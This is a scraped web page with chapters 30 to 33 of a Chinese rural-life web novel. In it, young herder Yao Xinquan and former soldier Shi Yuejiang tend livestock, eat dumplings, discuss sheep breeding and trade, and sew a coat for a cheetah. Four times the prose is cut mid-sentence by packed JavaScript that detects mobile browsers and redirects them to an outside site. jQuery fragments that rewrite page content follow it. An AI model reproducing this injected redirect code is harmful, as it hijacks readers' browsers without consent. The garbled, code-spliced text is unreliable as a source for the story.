l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518804|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住暗暗叹了口气。 姚新泉自然不知道他在想什么，等包了差不多小半盖帘后她拍了拍手，从厨房的柜子里翻出一把干净的塑料袋，“我小姑家里是开超市的，我从她那边拿了好多方便袋回来。外面饺子已经冻得差不多了，得捡起来去。” 师月江不解，“放回屋里？” “不是啊”，姚新泉摇头，“外面冷饺子已经冻透了，这种就得赶紧装起来然后放在外头，不然冻太久了水分流失太厉害，等煮的时候皮不容易熟是一方面，还容易裂口子。” 师月江受教般地点了点头，所以说嘛，生活中其实处处都是知识。 等两人把饺子全都包上，又把莱尼他们的肉团子也冻上之后姚新泉站起身来扭了扭腰，“坐久了腰疼，我要去喂羊了，喂完之后咱们回来再煮饺子吧，这样就不用吃了一身汗还往外面跑了。” 师月江自然没意见，他去拿自己被挂着的外套，姚新泉拦了一下，“你稍等我一会儿啊”，等她再回来的时候就看她手上拎着一件旧的军大衣跟一双皮靴回来。 “衣服鞋子都是我爸留下的，去年穿完都是洗过晒过的，干净没味道。我看你带的东西也不多，就先凑活着穿吧，外面雪这么大，你这鞋里面都进雪了。” 师月江道了谢接过来，一点儿没矫情地穿上了。 姚新泉心里满意了几分，别看是旧的，但东西都是好东西，而且爸妈虽然是牧民，但是条件允许范围内两人都很爱干净的，如果师月江嫌弃，她肯定心里不高兴。 “还有这个雷锋帽你也戴上，把耳朵护起来，你穿来的那些在城市里还成，在我们这儿就是中看不中用！” 师月江用围巾把脸围住，就露一双眼睛在外面朝她弯了弯眼镜，看得出来在笑。 姚新泉也笑了，她也穿戴好顶着风雪出门。 狗狗军团的小家伙们跟着出来了，就连皮皮也非要出门，屋里现在也就留了个小金跟莱尼。 “这么勤快啊！”姚新泉拍了拍为首的毛毛的头，这几个小家伙是真的排了班的，基本上隔一会儿就有一只出去巡逻。 姚新泉后面觉得小家伙们这样太辛苦了，要不给他们还是安排在羊圈里睡，好好给他们弄个狗窝也成，但狗狗军团不乐意，他们一定要回屋睡，姚新泉也就随他们了。 屋子到羊圈的距离并不算远，但是风很大，两人顶着风冒着雪把牧草推进了羊圈才松了一口气。 她把围巾扯下来挂在了栏杆上，羊圈里是生了铁皮炉子的，再加上这么多数量的羊，那是一点儿也不冷。 “我们这儿已经属于避风的地方了，风雪比外面都小，外面什么情况可想而知，所以我跟你说，你以后注意点儿，冬天要下雪了这种天气绝对不能出门！” 这小子也是厉害，没来过这儿，冒着大雪竟然能一个人走过来！也不知道他的车停在哪儿了，一个冬天这样放在外头被雪埋着，春天还能要吗？ 30. 第 30 章 “咱们这边冬天天冷，所以养羊得注意保暖跟补充营养，现在只烧了一个炉子，如果后面再降温的话还得再添一个”，烧点煤炭加木头能多少钱？要是冻死一头羊那才叫亏呢！ “等雪停了之后我打算把牛羊圈周围一圈垒上防风墙，到时候会好很多。” 姚新泉把干草放到食槽里，师月江再一边照着做，然后又把准备的精饲料倒了一些给它们。 “等明年我得准备点儿青贮饲料，那东西冬天喂能给牛羊补充能量跟维生素。今年我家牧场开得晚没来得及准备，亏了”，听出姚新泉的遗憾了，师月江不知怎么突然道，“那我到时候帮你打听打听看看哪里有比较好的种子。” 姚新泉有些诧异地看了他一眼，随后笑道，“那我可得好好谢谢你。” “不用，牧民没有买种子的渠道，那些大学里的实验室或者外面的实验室是没有好的试验田。我到时候帮你打听些已经试点成功，口碑好一些的种子，你种植的时候做做记录，给他们反馈一下数据，也算是双赢了”。 他本想说自己到时候做好数据记录，可再一想自己到时候可能已经走了又改了口。 “行啊，今年我种了点儿黑冬麦，我都懒得费时间去找种子，直接托给我犁地的师傅去买的，东西还不错，不过比市面上贵了一些，也是没办法的事情。” 两人一边聊天一边喂牛羊马，姚家牧场里本来是有单独的马圈的，但是如今除了皮皮也就四匹马，把它们单独关在一个圈里又费柴火又不暖和，所以姚新泉干脆就把马放到了羊圈里一块儿单独圈出来的地方。 见师月江一直在看家里的马姚新泉笑着问道，“怎么了，觉得我家马不行？” 师月江不好意思地笑了笑，“这匹小母马还不错”，不过他的目光没忍住落在在两人身后跑来跑去的皮皮身上，“皮皮的资质很好。” 这话不假，皮皮的头部比例很是协调，眼睛又大又明亮，耳朵也很是灵活，鼻孔宽阔，这代表小家伙的呼吸能力很强。 皮皮的颈部修长又匀称，与肩部的衔接自然而流畅，肌肉也很发达，足以看出它很适合运动。 除此之外，无论是肩背还是四肢、马蹄不仅没有短板，甚至称得上是优势了，单论身体条件，这小家伙拿出去跟赛级马比也不差什么。 不过具体的灵活性、爆发性、耐力这些还得再看一看。 但是看她这精神状态跟那个活泼的样子就知道可能不是太好驯，敏感而聪明的马确实适合参加一些竞技比赛，但是吧，当一匹马儿太有个性的时候其实也就不一定适合参赛了。 “我没打算让她参加比赛”，姚新泉摸了摸皮皮的尾巴，小家伙用力甩了甩尾巴挣脱开她的手，又探头过来啃她的手套，姚新泉无奈收回手。 “如果想出成绩那肯定是奔着突破自我去的，这样一来难免会有各种伤病，如果严重了别说继续参加比赛了，就算继续活着都难。皮皮的性格不可能喜欢那些荣誉，我也不喜欢，她就这样快快乐乐在牧场上待着就很好了”，她虽然每次都会被皮皮气到，但这孩子是真的活泼可爱，没有人会不喜欢见到这样的小马驹的。 师月江笑着点头，“我曾经去过一些马场，退役的马比较好的归宿是被骑手等人收养，或者进入一些马术学校、俱乐部中继续服役。但是还是有不少因为病痛而被安乐死的。你这样想真的很好！” 姚新泉笑着看了他一眼没再说什么，将来如果皮皮成年发情了到时候再说，不过就算让她生育那最多也就生一胎，她是有灵性的小家伙，跟别的牲畜不一样，不可能不考虑她的身体状况去繁殖的。 两人喂好了牛羊马后，姚新泉又安排了师月江去检查看看有没有牛羊马有流鼻涕之类的症状，如果有的话肯定要赶紧介入治疗。 “现在还不算特别冷，做好保暖工作问题就不大，等实在冷得不行的时候，估计还得给牛羊它们喂点儿生姜红糖水。” 师月江瞪大了眼睛，可转念一想，这生姜红糖都是好东西，人喝了也能暖暖身子，给牛羊喝倒也正常。 “不过生姜红糖水一喂成本就又高了，我们本地其实也有些中草药，或者喂点儿板蓝根之类的，但是家里牛揣崽了，到底是药，能不喂还是不喂吧，还是预防为主！” 师月江点了点头，看着姚新泉的目光忍不住就带了些奇异出来，“你年龄不大，但看上去特别像个经年的老牧民。” 姚新泉哈哈一笑，“我就当你在夸我了，其实不都是这样吗？爸妈种地的，那孩子从会走路开始基本上都得跟着在地里待着吧？家里做生意的，孩子耳濡目染也能学会一二。像我这种家里是放羊的，我7岁上学，小学跳过级，所以20岁就大学毕业。在我7岁之前，除了天气特别糟糕的时候，我爸妈只要放牛放羊我就跟着出去。” “你知道我学的第一首诗是什么吗？”姚新泉突然来了说话的兴致问道。 “《咏鹅》？”师月江心里觉得不是，她既然这样问，肯定不是，可一时间也没想起启蒙时通常学的都是什么诗了。 “不是，是袁枚的《所见》。牧童骑黄牛，歌声振林樾。意欲捕鸣蝉，忽然闭口立。”姚新泉没忍住摇头晃脑起来，等反应过来后不好意思地笑了笑。 “当时我跟着我爸妈放牛，那牛身上也没什么鞍子之类的，还是头浑身乌黑的牛，我爸掐着我的咯吱窝就把我往牛背上一扔，然后教我背了这首诗”。 姚新泉眼中都是笑意，那牛也确实性格温驯，背上突然坐了个娃娃也没反应，继续埋头吃草。 去一边解手回来的苏永和见到这一幕吓得魂飞魄散，冲上来抱下孩子就追着姚爸打！ 想到这些姚新泉就乐得不行，她如今能这么快地走出阴影开始新生活也是因为哪怕爸妈离开了，可是他们的爱永远陪着自己，他们给自己留下的记忆足够姚新泉用一辈子去细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518805|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细回味了。 哪怕父母离世她也不是缺少爱的孩子，她从小到大享受到的爱足够支撑她面对所有困难。 两人喂好牲畜后回屋，“把大衣上的雪抖一抖然后挂在这个衣架上就行”，想起什么她道，“你那屋里应该也有衣架，你回头看一下，如果没有的话客厅这个你拿过去用就成。” 师月江没拒绝，要是没有的话，到时候做一个就成。 他从上军校开始学了许许多多的技能，可那些技能如今对他来说也没有什么意义了，反而是幼年过那段苦日子时学到的东西让他受用终身，比如说简单的木工活。 小家伙们回来之后就没有回自己屋，跟着来了客厅，姚新泉翻出两块儿毛巾递给师月江，“你给它们擦脚，我去煮饺子。” “你吃汤饺还是干饺子啊？” “汤饺吧，这个天儿喝点热的舒服。” 姚新泉笑着点头，心里还挺高兴的，她也想吃汤饺。 家里当时厨房做的特别大，有四个灶头，现在倒是方便了姚新泉。 她翻出两口大锅放水点火，又翻出了钢筋锅上锅蒸肉丸子。 等水开后分别把两种水饺下进锅里，等水开了再点水。 另一边师月江拿着毛巾有些尴尬地站在那里跟狗狗军团对峙，半晌他蹲下身，“哪一位先来？” 小老弟点点天不怕地不怕地上前一步，师月江见他昂首挺胸的样子心里觉得好笑，他轻轻抬起点点的爪子，点点也不抗拒，被擦脚这种事他点点都习惯了呢！ 娜娜胆小排在了最后一个，擦完脚的几小只撒着欢去了厨房那边，也不敢往里走，之前朵朵在里面乱跳差点把姚新泉端着的汤碗碰掉，挨了一顿揍后几个就长记性了。 等给娜娜擦完后师月江不着痕迹地松了口气，刚要起身就见面前又出现了一只蹄子。 他抬头看去，就见皮皮歪着头，大大的眼睛中似乎蕴满笑意。 皮皮轻轻抬起一只前脚，膝盖微微弯曲，莫名看着还有些优雅是怎么回事？ 师月江笑着清了清嗓子，又给最后一位顾客服务完后去洗手间把两张毛巾洗了晾好这才回来。 姚新泉先把几个家伙的饭碗拿出来，除了点点两个饺子之外，别的狗狗军团都是三个，自家饺子本来就大，这到底也是死面包的，吃多了不好消化。 又把肉丸子端出来分了两个碗，莱尼的多一些，小金的少一些，最后又拿了个盆，给皮皮放了小半盆白菜帮子。 它们的饺子在一边晾着，两人的饺子也煮好了。她拿出两个汤碗来，碗中放了葱花、紫菜、虾皮、生抽、少量胡椒粉等调料后盛出饺子又舀了两勺汤进去，香味立马就出来了。 “师月江，端碗！”她自己则是把狗狗军团的碗摆好后，又去客厅把莱尼抱了过来排在最后一个。小家伙冻伤了，虽然不严重，但是现在也不爱动弹，姚新泉干脆就抱着她走动。“开饭！” 31. 第 31 章 师月江看着这碗酸汤水饺没忍住咽了下口水，姚新泉见他不动，嚼着饺子含糊不清地问，“怎么了？你是有什么忌口吗？我自己不吃香菜，所以家里也没香菜，就一点儿小葱。” 师月江赶忙摇头，不是忌口，他有些迟疑，“是不是有点多啊？” 这碗，不对，这盆，他家以前四个人一起吃饭的时候喝汤也就用这么大的盆了。 “吃不完？为啥吃不完？”姚新泉像是有些惊讶地问道，“我没给你多少，我自己舀了十五个，你里面才20个，你那么大个子，不会吃不完20个水饺吧？我爸四十多的人了当初都吃小三十个饺子呢！剩下的都是汤，汤喝不完就算了！” 师月江缓缓吐出一口气，其实对一个年轻男人来说，20个水饺真的不算什么。但是从他退下来到现在，他好像已经很久没有好好吃一顿饭了！ 姚新泉就当没看到他的纠结，又吃了一个饺子，“你要是觉得醋不够再加，油辣子也可以另加，过几天我腌的四川泡菜还有洋姜就差不多能吃了，现在估计还差点味儿。” 师月江也顺着她转开话题，吃了一个饺子后问，“你还会腌泡菜？怎么感觉就没你不会的？” 姚新泉笑着摆手，“你别捧我了，过日子嘛就各种学呗！” “我小姨夫是四川过来的，虽然来的时候年纪不大，但是多少也会一些，我就是跟他学的。” “新疆这边的汉族全是从五湖四海过来的，你学一点儿我老家的，我学一些你老家的，正不正宗也说不好，反正好吃就行！” 师月江点头，“那倒是，不过我听你说话都没什么口音啊！” 姚新泉哈哈一笑，“你可算问了，我还一直等你问呢！” 师月江笑得不行，“那是我的不是了，我该早点问来着！” “嗐，主要就是出去读书之后好多人知道我是新疆的都会说我咋汉语说得那么好？开玩笑，我爸妈都是从北方迁过来的，本身说得也就是带点儿口音的普通话。他们当时教我说话的时候还特意把自己的普通话说得更字正腔圆一点。上学之后全国都在大力推广普通话，我小姑那时候怕我说话有口音到时候出去了让人欺负，还专门给我买了随身听，那可是托人从国外带回来的，老贵了！我跟着磁带学，慢慢得也就没什么口音了。” “一点儿听不出来羊肉串味儿吧？”她满含笑意地朝师月江眨了眨眼，师月江点头，“特别标准的普通话，都能去当播音员了。” 他这么捧场，搞得姚新泉都有点不好意思了。 “那你会说本地话吗？” 姚新泉点头，“我专门学过哈语，不过这东西一通百通，不一定标准，但跟维族那些也能勉强沟通，你呢？我还挺好奇你的，你家庭条件那么好，应该学过不少吧？” 师月江点头，“外语的话除了英语之外，我还会俄语、日语、阿拉伯语和一点点的法语。” 姚新泉瞠目，好家伙，真是好家伙！ “你是这个！”她竖了个大拇指。 师月江笑了笑却没多少自豪，生活所迫罢了，总不能出去执行任务还随身带着翻译吧？ 见他提起自己的事情表情就淡下来了姚新泉猜测里面肯定是发生了不少事情，她没想追着问，不过到底有同在一个屋檐下的缘分，总想着能帮就帮一把。 “你要是明年还在就好了”，听她突然这么说师月江心里一动，可转眼又按了下去，“怎么说？” “今年11月份的时候自治区这边出台了一个文件，好像叫什么《关于进一步扩大对外开放的决定》，而且还重新开了霍尔果斯口岸，今年没赶上，我想着明年去看一看呢！咱们这边的对外贸易更多的是针对中亚甚至是中东那边的国家和商人，你看你还会阿拉伯语，搞不好就有用得上的地方呢！” 师月江也顺着她的思路往下聊，“我倒是没关注这个文件，但是估计还是跟苏联解体有关系。咱们普通老百姓消息不灵通，但上面肯定不可能说是前天解体，咱们当天才收到消息的”。 姚新泉喝了一口汤，表情有些震惊，“前天我下山买东西听到苏联解体的消息我人都傻了，我是不太关注这些国际政治经济的，印象中苏联到底是个大国，咋就突然解体了？” 师月江也没想聊这些，接着自己刚才话继续说，“苏联解体了，咱们自然还是要接收一些‘遗产’的嘛！那些新独立出去的国家跟咱们国家边境贸易的需求肯定是激增，这一波红利当地政府那是必须要抓住的。” 姚新泉点头，“我爸妈之前打算怎么经营这家牧场我不是太确定，但我自己也是有一些打算的。” 她之前没跟任何人说过自己的打算，主要是也没跟人聊到这里，今天既然说到这里，她倒也来了谈兴。 “我这个牧场有四千亩，如今也就500头羊跟85头牛还有五匹马，远远没有达到牧场的供养上限，如果空着不是浪费资源嘛！” “家里的细毛羊是本土品种，五几年的时候培育出来推广到现在其实已经算是还可以了。但是我了解过一种叫中国美利奴羊的品种。你可能没听过这种品种”，师月江点了点头，“不过听名字似乎不是咱们国家的本土羊。” 姚新泉点头，“可不是？不过这种羊也是进行过一些本土化的，我如果没记错的话，是八十年代初还是七十年代末的时候咱们国家引进了澳大利亚的美利奴羊，然后和国内的一些细毛羊进行了改良杂交，慢慢培育出了中国美利奴羊。” “本土羊有本土羊的好处，经过几十年的本地饲养，像我家这些细毛羊就能更好地适应高寒跟干旱的气候，更适合在咱们新疆这片土壤上生存。而且相比于其他细毛羊，咱们新疆细毛羊体格子也比较大，产肉的性能会相对更好一些。” “但中国美利奴羊的话，人家的羊毛细度更均匀，光泽度也更好。对我来说，我完全可以培育出产肉性能更好的羊，也就是专门去养肉羊，而用来产毛的羊那我就提高它的产毛性能。两者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523721|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都想要的话我怕两者都比较平庸，如果我只是面对普通市场的话倒也够了，但是我现在把目光放到口岸或者国外市场上去的话那肯定还是不能算有竞争力的产品了。但我也有点纠结，只产毛或者只产肉的话对抗风险的能力就低了。” “不过这些都得慢慢来，也不是我今天张了张嘴，明天羊娃子就落地了。再者说我也得了解好市场，万一到时候市面上毛或者肉饱和了，那我也得有针对性得来。” …… 姚新泉就着半碗饺子汤跟师月江聊了半宿，晚上12点多她才觉出不对来，不好意思地朝他笑了笑，“你看我，这一聊都忘了时间了。今天太晚了你也别洗澡了吧！我先去用一下洗手间，你回那间屋子看看还缺不缺什么，缺的话你跟我说，家里基本都有。” 师月江一个见过大世面的人都被她说得心潮澎湃的，感觉姚家牧场分分钟走出新疆面向世界，等冷静下来后又不免觉得对方有点可爱。 “好，对了，我是不是忘了跟你说一句谢谢了”，师月江突然郑重的态度让姚新泉有些不自在，“我救莱尼可没图你什么，不用这样”，她心想，我可是另外拿到了15个积分呢！ 价值1积分的点点爆哭！ 师月江没再说什么只是点了点头便回屋了，晚上躺在这个陌生的房间，他在发生那些事情之后第一次这么强烈地感受到原来到了这个时间点人是会困的。 师月江没再去想别的，翻了个身睡了过去。 另一边姚新泉则是开始自我反思，她自问不是一个特别自来熟的人，今天也不知怎么回事竟然跟一个刚认识的人聊了五六个小时。 师月江也许在别的方面很博学，但是在牲畜养殖方面完全是空白的，可跟他聊天就是让人很舒服。 自己跟他说自己打算培育出更好的产毛羊跟肉羊，对方不会觉得她痴心妄想，反而说自己回头可以帮着打听打听看看哪里有合适的种公羊或者母羊。 姚新泉跟他说想去口岸看看，他会很遗憾地告诉自己，他那时候未必还在新疆，如果在的话，一定跟自己去见见世面。 姚新泉跟他说牧场里的云杉林她也打算利用起来搞一些种植的时候，师月江说她这个想法很好，谁说牧场只能放牧了？还说回头找一些关于菌菇养殖繁育的相关书籍或者论文过来。 有时候姚新泉自己都觉得她是不是太不脚踏实地了，可师月江却觉得她的想法很好，敢想敢拼。不过又建议她在实操之前最好多学习学习，他也会帮自己联系看看有没有哪里有好的经验可以让她去实地考察。 也许这些他只是口头说说，并不会真的做到，可这么配合的聊天搭子也很难得啊！ 谁都不喜欢跟总是扫兴的人说话！ 我难道不知道这件事情很难吗？我还需要你特意告诉我吗？有时候有些话说出来未必需要认同，我可能只是需要你去倾听，至少不要打击。 总之今天聊得很开心，姚新泉心满意足地睡了过去。 32. 第 32 章 这雪一下就是五天，狗狗军团们在家里憋得慌的时候也不管风雪就去外面疯跑，弄得一身雪回来。 就连皮皮也喜欢在外面撒欢，那么长的马腿陷进去拔出来都费劲儿…… 小金就更不用说了，自从人家不再掩饰会飞这件事之后天天出去兜一圈再回来，基本每次都能逮到一只兔子，姚新泉会把皮剥了给它们分食。 只有莱尼，这个老家在热带的小朋友那是门都不敢出。如果不是师月江坚持，姚新泉都有点儿不忍心想在屋里给她放个猫砂盆了！ 谁说豹豹不是猫猫了呢！ 没办法姚新泉打算给莱尼搞点保暖装备，总不能让孩子出去上个厕所都冻屁股吧！ 看着姚新泉翻出来的一堆棉袄师月江有些迟疑，“这些是？” “都是我小时候的，穿不下了！” 姚家还有苏家家长都是特别疼孩子的，根本不舍得让自家孩子去捡表姐或者堂姐的衣服穿，姚爸姚妈也不舍得把闺女的衣服给别人，就囤在家里，天气好了还得拎出来晒一晒。 她拎起一件大红色的棉袄在莱尼身上比划了一下，“要不用这个改？” 师月江顿了顿，最终还是委婉道，“莱尼穿这个颜色可能不是太好看。” 姚新泉奇怪地看了他一眼，“难道你觉得她穿衣服会好看？或者你会做衣服吗？” 师月江摇头，姚新泉见状耸了耸肩，“我也不会啊，所以我们做出来的衣服肯定会很难看，颜色好不好看还重要吗？” 好的，师月江觉得自己被说服了，也是，衣服都不好看了，颜色好不好看重要吗？ “而且这不是主要给人家保暖吗？莱尼的老寒腿都要被冻出来了，管他好看不好看的！” 师月江忍不住笑了起来，半晌才憋住板着脸用力点头，“你说得对！” “你给莱尼量一下数据吧，应该是要量背部长度、脖子围度还有胸围吧？”姚新泉不是很确定地问道。 “我觉得就做成小孩子的那种开裆裤，应该可以吧？” 此时的师月江并不是一个很好的聊天搭子，他只会茫然地点头，见状姚新泉叹气，“指望不上你了，你先量吧！” 她把棉袄摊平打量了半天，“你说我要直接给她套上，莱尼能穿吗？” 师月江没说话，姚新泉叹气，这可咋整啊！ 比划了半天之后姚新泉还是不知道从哪里下刀，师月江也头疼，军校里也没教怎么给豹子做衣服啊！“要不我们先找个纸壳子画个大概的雏形然后对照着剪出来？” 姚新泉眼睛一亮，赶忙将自己之前收着的装水果的箱子翻了出来摊开，这箱子还挺大的，把几个边都摊开反正是比莱尼要长了。 “莱尼身长差不多113厘米，胸围62厘米，脖子30，肩高大概75厘米”。 师月江报出数据后，姚新泉找了只笔跟尺子在纸壳子上比划，“我们就做个小背心或者小坎肩就行，腿上的话回头再给她单独缝上去。” 师月江没意见，看着她在纸壳子上画着奇奇怪怪的图纸，虽然不知道会得出一件什么样的衣服，但是看着这样的姚新泉，师月江只觉得整个人都有一种原来自己是这么真实地存在于这个世界上的踏实感。 他有一段时间每天醒来的时候都很茫然，会反应很久才想起，哦，原来我今天还活着啊！ 突然思绪被打断，“你看差不多就是这样，下边长一点，刚好能包到莱尼尾巴上面，尾巴肯定是要给人漏出来的，我之前在上海看到人家小猫的衣服就是这样，包住后背。” “胸前的话到时候再看是弄带子穿上还是搞扣子，肚子下面这点儿肯定还是要空着的，方便她上厕所。” “腿上的话到时候看就用衣服袖子改一改，接上去我觉得是行的。” “至于脚上”，姚新泉沉吟，怎么办，突然想给她做一双羊皮鞋！ “算了算了，咱们把腿做长一点，然后底下给她缝个羊皮垫的鞋底，腿跟鞋连在一起”，姚新泉激动得拍了下手，“这不连体衣吗？” “咳咳！”师月江被水呛了一下赶忙把杯子放下，在姚新泉看过来后用力点头，眼神很是真诚，“我觉得特别好！” 莱尼面无表情地看了他一眼，心虚的师月江总觉得那眼神似乎在说，那做好了你穿！ 嘿，反正他穿不上，怕什么？ 姚新泉在什么事情上都是敢想敢做的，既然没有更好的办法，她拿起剪刀就动工，反正这衣服小了也穿不下。 “你等我给莱尼比划一下，大小合适的话咱们接着再把边上缝一下，不然棉花都跑出来了！” 姚新泉拿着那件剪好的棉衣凑近莱尼，没等莱尼跑呢，姚新泉一把抱住了她，把棉衣包裹住她比划了一下。 “大小倒是可以，就是肚子这里还得剪掉一截，不然到时候可能小便的时候会溅到。” 莱尼生无可恋地看着师月江，师月江耸了耸肩，人家多好心啊，可不能挑三拣四！ 再加工了一下后姚新泉递了根针给对方，“穿线，把边上缝住，咱们第一次做就不包边了。” 师月江很是听话地接过针，学着姚新泉的样子舔了舔线头小心穿了过去，把线打结后扯断。 缝住边很容易，正面扎过去后又从正面下针，尽量保证针脚够密，不跑毛就成。 两人一人从一边儿缝，很快就缝完了，姚新泉看了看后有点发愁，“要不我再戳几个对称的洞，然后用绳子系带？” 师月江很捧场，“我觉得挺好的。” 姚新泉开了四个眼，两人又给洞眼锁边之后这就算是把主体做好了。 她又比划了下猎豹的腿长，好家伙，本来想着一条袖子能不能做两条腿，结果人家大长腿，也就堪堪够一条的而已。 没办法姚新泉又翻出了一件黑色棉衣，剪下了两条袖子，“我爸妈要是知道估计得心疼死了！” 她叹了口气，脸上是难得的惆怅，倒让师月江心里也觉得憋闷得慌。 “不过没事儿，地方腾出来了，等回头我再买点儿新衣服填进去！” “好，我给你买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530720|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！”话赶话说完师月江才觉得不对，就算是朋友也没哪个单身男性给女性朋友买衣服的吧？这显得多暧昧啊！ 而且他们算朋友吗？ 应该算吧！ 也不知道姚新泉是没听到还是装没听到，反正没接这个话。 “袖子咱们就不改了吧，在底下缝上一圈底子我觉得就成！” 说完她又跑去仓库里翻出了一沓羊皮边角料，她爸妈其实有好几件羊皮大衣，当时的边角料他们都没舍得扔，现在倒是刚好用得上了！ “我也不知道该怎么缝，反正把底子缝上就成！”两人一人两条腿缝了半天才算是把鞋底跟裤腿都安好了，姚新泉深深吐出一口气。 “我宁愿让我去干体力活也不想低着头在这缝一下午！” 其实很多女孩子家里都会教她们要洗衣做饭要做衣服要干嘛干嘛的，说起来为什么要什么都会呢？ 一说就是嫁到婆家去，如果什么都不会婆婆会说的！ 可难道女孩子从出生到死亡只是为了去婆家劳动的吗？ 姚新泉除了牧场上的活儿之外，她会做饭会收拾房间，做饭是姚母教的，不是为了将来讨好谁，只是因为担心他们夫妻俩出去放羊或者干别的活了，孩子自己在家饿着怎么办？ 至于做衣服这个事情，其实姚妈会做，而且做的不错，可她没打算教，姚爸也不让她教。 按姚爸姚妈的说法，这个事情又费眼睛又费脖子的，做什么非要学？有这个时间多去看看书不好吗？这又不是什么必须的生存技能，说什么将来婆婆说，那就找一个将来不会说的婆婆！ 或者找一个没有婆婆的男人！再或者招赘！反正总有不委屈自己的法子。 再说了，如果姚新泉喜欢也就罢了，她摆明了没兴趣，总不能说自古以来女孩子都要学，她就得学吧？ 那自古以来还有皇帝呢，现在谁当一个试试去？ 所以姚新泉的缝纫技巧仅限于把开线的裤子缝起来而已，够用！ 两人折腾得一头汗，抬头对视时都笑了起来，“也是不容易，给莱尼试试吧！” 师月江点头，他拿着衣服向莱尼走去，不知道为什么总觉得莱尼眼中满是嫌弃。 师月江低头看了一眼，这不挺好看的？嫌弃什么？ 莱尼不爱叫也不爱动，他走过去人家也不挪动，无奈师月江只能把孩子抱起来，然后把四条腿都塞进裤腿里，又把身上整了整，“大小合适诶！” 第一次见师月江笑成这个样子，牙花子都露出来了，姚新泉也被感染得高兴了起来。 “是吧！我就觉得肯定好穿！你等我把这个帽子的抽绳扯出来，给莱尼系带用！”说着扯出了一条红色的抽绳，系到四个洞眼里去后小心打了个蝴蝶结。 “大功告成！莱尼，走两步！” 莱尼僵硬得像是腿都不属于自己的了，也不知道是跟谁租来的，她四条腿小心地往前迈，边走边找自己迷失的四条腿，小细腿在裤管里逛荡，她幽怨地看了两人一眼。 “叽！” 33. 第 33 章 “雪终于停了！”姚新泉看着太阳缓缓吐出一口气，整天听着外面北风呼啸也怪难受的。 师月江深有同感地点头，“我老家是北京的，那边冬天也冷，也下雪，可雪就算再大跟牧区这种铺天盖地席卷而来的感觉还是不一样的。我好几次从窗户里往外看都觉得人是真的好渺小啊！” “行了，别感叹那么多了，今天可有的是活儿干呢！” 师月江失笑，“没忘，不是垒挡雪墙吗？其实我有点好奇，为什么非要等下了雪再垒挡雪墙？反正羊圈这些都在这边，不能提前用砖石垒好吗？因为成本低廉吗？”只有雪跟人工？ 姚新泉摇了摇头，“不止，用雪的话方便快捷，等春天化了还能自然消失。我估计跟以前的游牧民族会频繁搬迁也有关系，你用石头也好砖块儿也罢估计灵活性不强，总不能人走了，还专门把东西拆下来搬着走吧？” 师月江点头，看着地上的雪他突然道，“我估计还有别的原因。用雪做的挡雪墙它本身的密度跟温度都跟周围积雪一样，可以有效减缓风力吧！砖石垒的墙可能就会因为材质的问题导致局部积雪不均？而且雪墙里雪的柔韧性也能吸收风雪的冲击力减少结构损伤的风险，不像是砖石，有被压塌的风险。而且雪墙还有隔热性，这么一想确实好处多多啊！” “打住打住！”姚新泉做了个停止的手势，“不要在我一个文科生面前聊这些，我现在最多还能记得点儿生物。” 师月江哈哈一笑，“不过是我的一些拙见罢了，具体有没有这些原因不好说，不好哪怕只是因为造价低廉也是有意义的”。 有时候什么最不值钱，人力啊！ 两人在牛圈、羊圈、马圈前方大概两三米的位置，在西北方开始垒，主要是为了防西北风。 “这围一圈工作量也不小啊！”姚新泉感叹道，她家这个圈估计是为了将来能放几千上万只牲畜来建造的，面积很是不小，哪怕不喜欢叫苦叫累的姚新泉看着都有种崩溃感，啥时候能垒完啊！ “没事儿，慢慢来，今天忙不完就明天再干，你不是说这几天估计是不会下雪吗？” 姚新泉嗯了一声，系统说的，当然姚新泉告诉他的时候是说凭经验断定。 两人拿着铁锹将积雪铲到一起，堆出底部差不多有一米宽的长条，之后往上可以再窄一些。 “这积雪太松散了，得踩踩实啊！”姚新泉想了想招呼狗狗军团们上来干活，它们汪汪大叫着冲了上来，轮番踩跳着。就连跟出来头上被姚新泉包了条围巾的莱尼也被姚新泉抱上去踩了踩。 她刚把莱尼放下，就感觉衣服被拽了一下，回头一看，就见皮皮眼巴巴地看着自己。 姚新泉一愣，就听旁边的师月江噗嗤笑出声来，“人家让你抱它呢，新泉，你可不能厚此薄彼啊！” 姚新泉瞪他，“你行你来！” 师月江很无所谓地摇了摇头，“你知道的，我现在弱不禁风。” 